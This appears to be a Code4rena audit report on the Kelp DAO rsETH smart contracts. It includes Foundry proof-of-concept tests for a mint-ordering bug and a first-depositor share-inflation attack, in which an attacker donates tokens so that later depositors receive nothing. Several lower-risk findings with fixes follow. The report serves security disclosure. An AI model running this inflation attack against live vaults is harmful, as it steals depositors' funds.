Kelp DAO | rsETH - osmanozdemir1's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L136 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L141 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L151-L152

Vulnerability details

Bug description

In this protocol, users deposit underlying assets and get the corresponding amount of rsETH for their deposits. How many rsETH will be minted is calculated based on the underlying asset's price and the current rsETH price, which are fetched from the LRTOracle contract.
https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L109

file: LRTDepositPool.sol 
        // calculate rseth amount to mint based on asset amount and asset exchange rate
        rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();

In the LRTOracle contract:

• asset price is returned directly from the ChainLink oracle. (Ref)

• rsETH price is calculated based on the total deposited ETH value in the pool and the total supply of the minted rsETH. (Ref)

Everything is as expected up to this point. Now, let's check the depositAsset() function:
https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L119C1-L144C6

file: LRTDepositPool.sol
    function depositAsset(
        address asset,
        uint256 depositAmount
    )
        external
        whenNotPaused
        nonReentrant
        onlySupportedAsset(asset)
    {
        // checks
        if (depositAmount == 0) {
            revert InvalidAmount();
        }
        if (depositAmount > getAssetCurrentLimit(asset)) {
            revert MaximumDepositLimitReached();
        }

-->     if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) { //@audit Transfer is alreay made before calculating how many tokens to mint. 
            revert TokenTransferFailed();
        }

        // interactions
-->     uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount); //@audit amountToMint is calculated here. rsETH price is already increased when the transaction got here due to the transfer above. 

        emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
    }

As we can see above, the calculation to decide how many rsETH to mint is performed after the token transfer is completed. At that point, the rsETH price has already been increased, which causes users to get less rsETH.

When the transaction is executed completely, rsETH supply will increase and the price will fall down. The impact depends on how many tokens are deposited.

Down below you can see a coded PoC showing a scenario where

• the user deposited 100 ether worth of assets when the rsETH price is equal to 1 ether (total asset balance in the pool was 100, rsETH supply was 100)

• rsETH's are minted based on the price of 2 ether during the transaction (total balance increased to 200 but the rsETH supply was still 100 during getRsETHAmountToMint() function)

• The user got 50 rsETH

• Transaction finalized and the last price of rsETH is 1.33 ether (total balance in the pool 200, rsETH supply 150)

• The user immediately lost 1/3 of his/her deposit value (deposited 100 ether worth of tokens, got 66.6666 ether worth of tokens)

Impact

• rsETH price will be calculated higher than its actual value during the transaction
• Depositors get less rsETH than expected due to this higher calculated price
• The rsETH price will decrease after the transaction is completed due to increased supply.
• At the end, users will immediately lose some of their deposited value depending on how much they deposited.

Proof of Concept

Coded PoC

Note: This PoC uses a mock LRTOracle similar to the protocol's other tests. In this mock contract, the rsETH price calculation is exactly the same as the code in scope. The only difference is that the asset price is fixed at 1 ether.

Create a new file in the test folder and copy and paste the snippet to this file. The setup of this file is the same setup in the protocol's other test files.

To run it: forge test --match-test test_MintAmount_WhenDepositing_Is_Incorrect -vvvv

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;

import { BaseTest } from "./BaseTest.t.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";
import { IRSETH } from "src/interfaces/IRSETH.sol";

import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";

import "forge-std/console.sol";
import "forge-std/console2.sol";


// This is a mock oracle that mimics rsETH calculation exactly the same as LRTOracle contract.
// Only difference is getAssetPrice function always returs 1e18 instead of fetching it from the Chainlink  
contract LRTOracleMock {
    ILRTConfig public lrtConfig;

    function initialize(address _lrtConfig) public {
        lrtConfig = ILRTConfig(_lrtConfig);
    }

    // This will be the underlying asset price and it will be equal to 1 ether for this test.
    function getAssetPrice(address) external view returns (uint256) {
        return 1e18;
    }

    // This is the same function in the LRTOracle Contract, the only difference is underlying asset price is always 1e18
    function getRSETHPrice() external view returns (uint256) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            // The price of asset will be 1 ether
            uint256 assetER = 1e18;

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }
        return totalETHInPool / rsEthSupply;
    }
}

// This will return 0 as we assume there is no staked balance in EigenLayer
contract MockNodeDelegator {
    function getAssetBalance(address) external view returns (uint256) {
        return 0;
    }
}


contract LRTDepositPoolTest is BaseTest, RSETHTest {
    LRTDepositPool public lrtDepositPool;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(proxyAdmin),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));

        // add oracle to LRT config and initialize it the config and asset.
        LRTOracleMock oracle = new LRTOracleMock();
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(oracle));
        oracle.initialize(address(lrtConfig));

        // add deposit pool contract address to LRT config
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));

        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        vm.stopPrank();
    }
}

contract LRTDepositPoolDepositAsset is LRTDepositPoolTest {
    address public oracle;

    function setUp() public override {
        super.setUp();

        // initialize LRTDepositPool
        lrtDepositPool.initialize(address(lrtConfig));

        // add manager role within LRTConfig
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        vm.stopPrank();

        oracle = lrtConfig.getContract(LRTConstants.LRT_ORACLE);
    }

    function test_MintAmount_WhenDepositing_Is_Incorrect() external {
        // We will prepare the situation first.
        // Initially we'll deposit 100 rETH tokens to set the scene.
        address randomAddress = makeAddr("random");
        rETH.mint(randomAddress, 100 ether);

        vm.startPrank(randomAddress);
        rETH.approve(address(lrtDepositPool), type(uint256).max);
        lrtDepositPool.depositAsset(address(rETH), 100 ether);
        vm.stopPrank();

        // After initial minting 
        // Total deposits 100, total minted rsETH 100, rsETH price 1
        assertEq(lrtDepositPool.getTotalAssetDeposits(address(rETH)), 100 ether);
        assertEq(rseth.totalSupply(), 100 ether);
        assertEq(LRTOracleMock(oracle).getRSETHPrice(), 1 ether);
        
        //------------------------------------- A USER WANTS TO DEPOSIT ANOTHER 100 ETHER --------------------------
        // Normally user should be able to deposit 100 rETH and mint corresponding 100 rsETH since the price is still 1 ether.

        vm.startPrank(alice);
        rETH.approve(address(lrtDepositPool), type(uint256).max);
        lrtDepositPool.depositAsset(address(rETH), 100 ether);
        vm.stopPrank();

        // Transfer is made before the calculation of how many tokens will be minted
        // During the deposit transaction, rsETH price is calculated as 2 ether instead of 1 (total deposits increased to 200, rsETH supply remained at 100) --> 50 rsETH will be minted to Alice instead of 100
        // Right after the transaction is completed:
        //       total supply of rsETH will be 150 - total asset deposits will be 200
        //       price of the rsETH will be 1.33  (200/150)
        //       Alice's 50 rsETH will be worth 66.6 eth ---> Alice will lose 1/3 of her deposit immediately
        assertEq(lrtDepositPool.getTotalAssetDeposits(address(rETH)), 200 ether);
        assertEq(rseth.totalSupply(), 150 ether);
        assertEq(rseth.balanceOf(alice), 50 ether);
        assertEq(LRTOracleMock(oracle).getRSETHPrice(), 1333333333333333333);        
    }

After running the tests, the result is like below:

Running 1 test for test/DepositPriceTest.t.sol:LRTDepositPoolDepositAsset
[PASS] test_MintAmount_WhenDepositing_Is_Incorrect() (gas: 317292)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.71ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review, foundry

Recommended Mitigation Steps

rsETH amount to mint calculation should be done before transferring these tokens to the pool.

It might be implemented in different ways. For an example:

    function depositAsset(
        address asset,
        uint256 depositAmount
    )
        external
        whenNotPaused
        nonReentrant
        onlySupportedAsset(asset)
    {
        // skipped for brevity

+        // Calculate the mint amount first.
+       uint256 rsethamountToMint = getRsETHAmountToMint(asset, depositAmount);

+       // Transfer after
        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }

        // interactions
+       // This function does not need to take two arguments anymore. Use already calculated rsethamountToMint in here
+       _mintRsETH(rsethamountToMint);

        emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
    }

+   // This function just mints necessary amount, doesn't return any value
+   function _mintRsETH(amount) private {
-       (rsethAmountToMint) = getRsETHAmountToMint(_asset, _amount);
        address rsethToken = lrtConfig.rsETH();
        // mint rseth for user
        IRSETH(rsethToken).mint(msg.sender, rsethAmountToMint);
    }

Assessed type

Math

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTOracle.sol#L70-L78

Vulnerability details

Impact

The price can be manipulated especially when the pool is shallow, and the malicious first depositor can steal from others

Proof of Concept

When the pool is empty, rsETH price is fixed at 1 ether. In other scenarios rsETH price is calculated based on the total assets in the pool and the total supply of the rsETH.
https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTOracle.sol#L52

    function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }

-->     return totalETHInPool / rsEthSupply;
    }

The issue here is that the price can easily be manipulated by transferring funds directly to the pool, especially when the pool is shallow.

You can see a coded PoC below with this scenario:

1. The first depositor deposits 1 wei and mints 1 rsETH

2. Transfers 10 ether worth of tokens to the pool and the price is inflated.

3. Other depositors lose their deposits due to inflated price of rsETH.

Coded PoC

Note: This PoC uses a mock LRTOracle similar to the protocol's other tests. In this mock contract, the rsETH price calculation is exactly the same as the code in the scope. The only difference is that the asset price is fixed at 1 ether.

Create a new file in the test folder and copy and paste the snippet to this file. The setup of this file is the same setup in the protocol's other test files.

To run it: forge test --match-test test_InflateThePrice_And_StealFromThem -vvv

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;

import { BaseTest } from "./BaseTest.t.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";
import { IRSETH } from "src/interfaces/IRSETH.sol";

import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";

import "forge-std/console.sol";
import "forge-std/console2.sol";


// This is a mock oracle that mimics rsETH calculation exactly the same as LRTOracle contract.
// Only difference is getAssetPrice function always returs 1e18 instead of fetching it from the Chainlink  
contract LRTOracleMock {
    ILRTConfig public lrtConfig;

    function initialize(address _lrtConfig) public {
        lrtConfig = ILRTConfig(_lrtConfig);
    }

    // This will be the underlying asset price and it will be equal to 1 ether for this test.
    function getAssetPrice(address) external view returns (uint256) {
        return 1e18;
    }

    // This is the same function in the LRTOracle Contract, the only difference is underlying asset price is always 1e18
    function getRSETHPrice() external view returns (uint256) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            // The price of asset will be 1 ether
            uint256 assetER = 1e18;

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }
        return totalETHInPool / rsEthSupply;
    }
}

// This will return 0 as we assume there is no staked balance in EigenLayer
contract MockNodeDelegator {
    function getAssetBalance(address) external view returns (uint256) {
        return 0;
    }
}


contract LRTDepositPoolTest is BaseTest, RSETHTest {
    LRTDepositPool public lrtDepositPool;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(proxyAdmin),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));

        // add oracle to LRT config and initialize it the config and asset.
        LRTOracleMock oracle = new LRTOracleMock();
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(oracle));
        oracle.initialize(address(lrtConfig));

        // add deposit pool contract address to LRT config
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));

        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        vm.stopPrank();
    }
}

contract LRTDepositPoolDepositAsset is LRTDepositPoolTest {
    address public oracle;

    function setUp() public override {
        super.setUp();

        // initialize LRTDepositPool
        lrtDepositPool.initialize(address(lrtConfig));

        // add manager role within LRTConfig
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        vm.stopPrank();

        oracle = lrtConfig.getContract(LRTConstants.LRT_ORACLE);
    }

    function test_InflateThePrice_And_StealFromThem() public {
        // -----------------------PREPARE & ATTACK-----------------
        // Create the attacker and send some money
        address attacker = makeAddr("random");
        rETH.mint(attacker, 100 ether);

        // Attacker mints only 1 wei worth of rsETH
        vm.startPrank(attacker);
        rETH.approve(address(lrtDepositPool), type(uint256).max);
        lrtDepositPool.depositAsset(address(rETH), 1);
        
        // Attacker's rsETH balance is 1
        // rsETH price is 1 ether
        assertEq(rseth.balanceOf(attacker), 1);
        assertEq(LRTOracleMock(oracle).getRSETHPrice(), 1 ether);

        // Attacker directly transfers 10 ether worth of asset to the contract.
        // This will inflate the rsETH price to ((10 ether + 1 wei) / 1 wei) since total deposited asset is 10 ether + 1 wei, and the rsETH supply is 1
        rETH.transfer(address(lrtDepositPool), 10 ether);
        assertEq(LRTOracleMock(oracle).getRSETHPrice(), (10 ether + 1) * 1e18);
        vm.stopPrank();

        //----------------------- NAIVE USERS DEPOSIT TOKENS ----------

        // Users deposit 1 eth separetely (Note: I used the same account for this instead of creating 9 different accounts, but it works as the same. It is just to demonstrate other people seperately depositing funds).
        vm.startPrank(alice);
        rETH.approve(address(lrtDepositPool), type(uint256).max);
        for(uint256 i = 0; i < 9; i++) {
            lrtDepositPool.depositAsset(address(rETH), 1 ether);
        } 
        
        // Total deposits should be 19 ether + 1 wei (Attaker deposited 1 wei, directly transferred 10 ether, other users deposited 9 ether);
        assertEq(lrtDepositPool.getTotalAssetDeposits(address(rETH)), 19 ether + 1);

        uint256 rsEtHBalanceOfAlice = rseth.balanceOf(alice);
        uint256 rsETHPriceAfterUserDeposits = LRTOracleMock(oracle).getRSETHPrice();
        uint256 rsWorthOfAlice_AfterTransferring9Ether = (rsETHPriceAfterUserDeposits * rsEtHBalanceOfAlice) / 1e18;
        uint256 rsWorthOfAttacker_AfterAllTransfers = (rsETHPriceAfterUserDeposits * rseth.balanceOf(attacker)) / 1e18;

        // Attacker's total cost was 10 ether + 1 wei. Even after just a few regular user deposit the attacker gained value.
        assertGt(rsWorthOfAttacker_AfterAllTransfers, 10 ether + 1 wei);
        // Alice's current token worth is 0 after depositing 9 ether
        assertEq(rsWorthOfAlice_AfterTransferring9Ether, 0);

        console2.log("rsETH price after deposits: ", rsETHPriceAfterUserDeposits);
        console2.log("rsETH balance of Alice: ", rsEtHBalanceOfAlice);
        console2.log("Alice's rsETH worth: ", rsWorthOfAlice_AfterTransferring9Ether);
        console2.log("Attackers rsETH worth: ", rsWorthOfAttacker_AfterAllTransfers);
    }
}    

The results after running this is:

Running 1 test for test/DepositPriceTest.t.sol:LRTDepositPoolDepositAsset
[PASS] test_InflateThePrice_And_StealFromThem() (gas: 759777)
Logs:
  rsETH price after deposits:  19000000000000000001000000000000000000
  rsETH balance of Alice:  0
  Alice's rsETH worth:  0
  Attackers rsETH worth:  19000000000000000001

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.82ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review, foundry

Recommended Mitigation Steps

The best way to prevent this price manipulation is that the protocol team depositing some underlying assets to the pool and minting some rsETH before opening the pool to the public. Manipulation will be much harder if the pool has already enough ETH.

Assessed type

Math

Judge has assessed an item in Issue #677 as 2 risk. The relevant finding follows:

[L-04] Deposited amounts in the EigenLayer strategy should be checked before updating the strategy for the asset Users deposit in this protocol and the protocol deposits these funds to EigenLayer strategy contracts. There are 3 supported assets (rETH, cbETH, stETH) at the moment and every asset has one strategy contract.

The protocol also has a maximum deposit limit for each asset. An asset’s total deposits are calculated by summing up the asset amounts in the pool, in node delegators and in the EigenLayer strategy.

The admin can update the strategy contract address for these assets. https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTConfig.sol#L109C1-L122C6

function updateAssetStrategy(
    address asset,
    address strategy
)
    external
    onlyRole(DEFAULT_ADMIN_ROLE)
    onlySupportedAsset(asset)
{
    UtilLib.checkNonZeroAddress(strategy);
    if (assetStrategy[asset] == strategy) {
        revert ValueAlreadyInUse();
    }
    assetStrategy[asset] = strategy;
}

As we can see above, this update is performed and the new strategy address is assigned without checking if there are already deposited assets in the previous strategy.

The biggest problem with that is the total asset deposits are calculated using the current EigenLayer strategy contract. https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L84 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/NodeDelegator.sol#L121C1-L124C6

file: NodeDelegator.sol //@audit Strategy contracts can be changed for assets. If the strategy is changed for an asset (before withdrawing the balance from previous strategy), // this function will return only the balance in the current strategy and the total deposits will be calculated lower than the actual. function getAssetBalance(address asset) external view override returns (uint256) { address strategy = lrtConfig.assetStrategy(asset); return IStrategy(strategy).userUnderlyingView(address(this)); } If the strategy address is updated without withdrawing deposits from the previous strategy, the totalAssetDeposits will be calculated lower than the actual deposit amount. This will lead to the getAssetCurrentLimit() function returning a bigger value than the actual limit and breaking the maximum deposit invariant.

Recommendation: I would recommend checking if there are already deposited assets in the EigenLayer strategy, and withdrawing them before updating the strategy (Or transferring deposits from the old strategy to the new strategy in EigenLayer, and updating the asset strategy in the same transaction with a multicall-like action).

Summary

• [L-01] LRTConfig::updateAssetDepositLimit() function doesn't check if the current deposits are greater than the new limit

• [L-02] LRTDepositPool::addNodeDelegatorContractToQueue() function should check if the inputted array includes the same addresses

• [L-03] LRTDepositPool::updateMaxNodeDelegatorCount should check the new count is not below the current delegator count

• [L-04] Deposited amounts in the EigenLayer strategy should be checked before updating the strategy for the asset

• [L-05] ChainlinkPriceOracle::getAssetPrice() function should check the stale price

• [NC-01] ChainlinkPriceOracle.sol contract should use AggregatorV3Interface instead of AggregatorInterface

• [NC-02] It would be better to check the decimal precision of the returned values from oracles

---

[L-01] LRTConfig::updateAssetDepositLimit() function doesn't check if the current deposits are greater than the new limit

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTConfig.sol#L94C5-L104C6

Every asset has a deposit limit and the contract managers can update these limits. The issue here is that the updateAssetDepositLimit() function doesn't check the current total asset deposits.

It is possible to set a new limit below the current deposits which leads to a broken invariant.

Recommendation: I would recommend checking the current deposits before assigning the new limit.

    function updateAssetDepositLimit(
        address asset,
        uint256 depositLimit
    )
        external
        onlyRole(LRTConstants.MANAGER)
        onlySupportedAsset(asset)
    {
+       uint256 currentDepositAmount = lrtDepositPool.getTotalAssetDeposits(asset);
+       if (depositLimit < currentDepositAmount) {
+           revert
+       }
        depositLimitByAsset[asset] = depositLimit;
        emit AssetDepositLimitUpdate(asset, depositLimit);
    }

---

[L-02] LRTDepositPool::addNodeDelegatorContractToQueue() function should check if the inputted array includes the same addresses

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L162C1-L176C6

addNodeDelegatorContractToQueue() function takes an array parameter and pushes all the elements of the array into the nodeDelegatorQueue storage variable. While doing this, there is no check if these elements in the array are the same or not.

The biggest impact of this issue arises when calculating total assets deposits and getting the asset distribution data in the getAssetDistributionData() function. This function iterates through all the node delegators in the nodeDelegatorQueue and sums up all of their balances.
https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L71C1-L89C6

    function getAssetDistributionData(address asset) {
        // skipped for brevity

        uint256 ndcsCount = nodeDelegatorQueue.length;
        for (uint256 i; i < ndcsCount;) {
            assetLyingInNDCs += IERC20(asset).balanceOf(nodeDelegatorQueue[i]); //@audit - it the array has the same delegator address in it, calculated balance will be greater than the actual deposit
            assetStakedInEigenLayer += INodeDelegator(nodeDelegatorQueue[i]).getAssetBalance(asset);
            unchecked {
                ++i;
            }
        }
    }

If the nodeDelegatorQueue array includes the same node delegator twice, all asset distribution data will be calculated incorrectly.

Recommendation: I would recommend adding sanity checks to the addNodeDelegatorContractToQueue() function and not allow the same addresses in the inputted array, even if it's a manager-only function.

---

[L-03] LRTDepositPool::updateMaxNodeDelegatorCount should check the new count is not below the current delegator count

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L202C1-L205C6

    function updateMaxNodeDelegatorCount(uint256 maxNodeDelegatorCount_) external onlyLRTAdmin {
        maxNodeDelegatorCount = maxNodeDelegatorCount_;
        emit MaxNodeDelegatorCountUpdated(maxNodeDelegatorCount);
    }

Similar to L-01, this function also doesn't check the current status of the contract while updating a configuration parameter.

It is not mentioned in the docs that these updates will only performed to increase delegator counts. If the manager decides to decrease the maxNodeDelegatorCount, the function should check the current delegator count and should not allow breaking the invariant.

Recommendation: I would recommend checking the current status of the contract before assigning the new value.

   function updateMaxNodeDelegatorCount(uint256 maxNodeDelegatorCount_) external onlyLRTAdmin {
+       // New value should be equal or bigger than the current node delegator count
+       require(maxNodeDelegatorCount_ >= nodeDelegatorQueue.length)
        maxNodeDelegatorCount = maxNodeDelegatorCount_;
        emit MaxNodeDelegatorCountUpdated(maxNodeDelegatorCount);
    }

---

[L-04] Deposited amounts in the EigenLayer strategy should be checked before updating the strategy for the asset

Users deposit in this protocol and the protocol deposits these funds to EigenLayer strategy contracts. There are 3 supported assets (rETH, cbETH, stETH) at the moment and every asset has one strategy contract.

The protocol also has a maximum deposit limit for each asset. An asset's total deposits are calculated by summing up the asset amounts in the pool, in node delegators and in the EigenLayer strategy.

The admin can update the strategy contract address for these assets.
https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTConfig.sol#L109C1-L122C6

    function updateAssetStrategy(
        address asset,
        address strategy
    )
        external
        onlyRole(DEFAULT_ADMIN_ROLE)
        onlySupportedAsset(asset)
    {
        UtilLib.checkNonZeroAddress(strategy);
        if (assetStrategy[asset] == strategy) {
            revert ValueAlreadyInUse();
        }
        assetStrategy[asset] = strategy;
    }

As we can see above, this update is performed and the new strategy address is assigned without checking if there are already deposited assets in the previous strategy.

The biggest problem with that is the total asset deposits are calculated using the current EigenLayer strategy contract.
https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L84
https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/NodeDelegator.sol#L121C1-L124C6

file: NodeDelegator.sol
//@audit Strategy contracts can be changed for assets. If the strategy is changed for an asset (before withdrawing the balance from previous strategy), 
//       this function will return only the balance in the current strategy and the total deposits will be calculated lower than the actual.
    function getAssetBalance(address asset) external view override returns (uint256) { 
        address strategy = lrtConfig.assetStrategy(asset);
        return IStrategy(strategy).userUnderlyingView(address(this));
    }

If the strategy address is updated without withdrawing deposits from the previous strategy, the totalAssetDeposits will be calculated lower than the actual deposit amount. This will lead to the getAssetCurrentLimit() function returning a bigger value than the actual limit and breaking the maximum deposit invariant.

Recommendation: I would recommend checking if there are already deposited assets in the EigenLayer strategy, and withdrawing them before updating the strategy (Or transferring deposits from the old strategy to the new strategy in EigenLayer, and updating the asset strategy in the same transaction with a multicall-like action).

---

[L-05] ChainlinkPriceOracle::getAssetPrice() function should check the stale price

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/oracles/ChainlinkPriceOracle.sol#L37C1-L39C6

    function getAssetPrice(address asset) external view onlySupportedAsset(asset) returns (uint256) {
        return AggregatorInterface(assetPriceFeed[asset]).latestAnswer();
    }

The current implementation accepts the Chainlink price without performing additional checks.

The protocol should check when this price is returned and also check the heartbeat of the oracle.

---

[NC-01] ChainlinkPriceOracle.sol contract should use AggregatorV3Interface instead of AggregatorInterface

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/oracles/ChainlinkPriceOracle.sol#L11C1-L13C2

interface AggregatorInterface {
    function latestAnswer() external view returns (uint256);
}

The current implementation of the ChainlinkOracle.sol uses the old interface and should use the AggregatorV3Interface.

---

[NC-02] It would be better to check the decimal precision of the returned values from oracles

According to the docs and contest channel on Discord, the Oracle prices are based on ETH prices and the ETH pairs will be used as price feed. It is also mentioned that the protocol is oracle agnostic, and other oracles than the Chainlink might be used.

The decimals of the ETH pairs in Chainlink is 18, and it works as expected in the current code.

However, all calculations will be incorrect if the protocol uses another oracle whose prices are in different decimal precision.

Recommendation: I would recommend checking the decimal value of the returned price, and normalizing the decimals if it is not 18.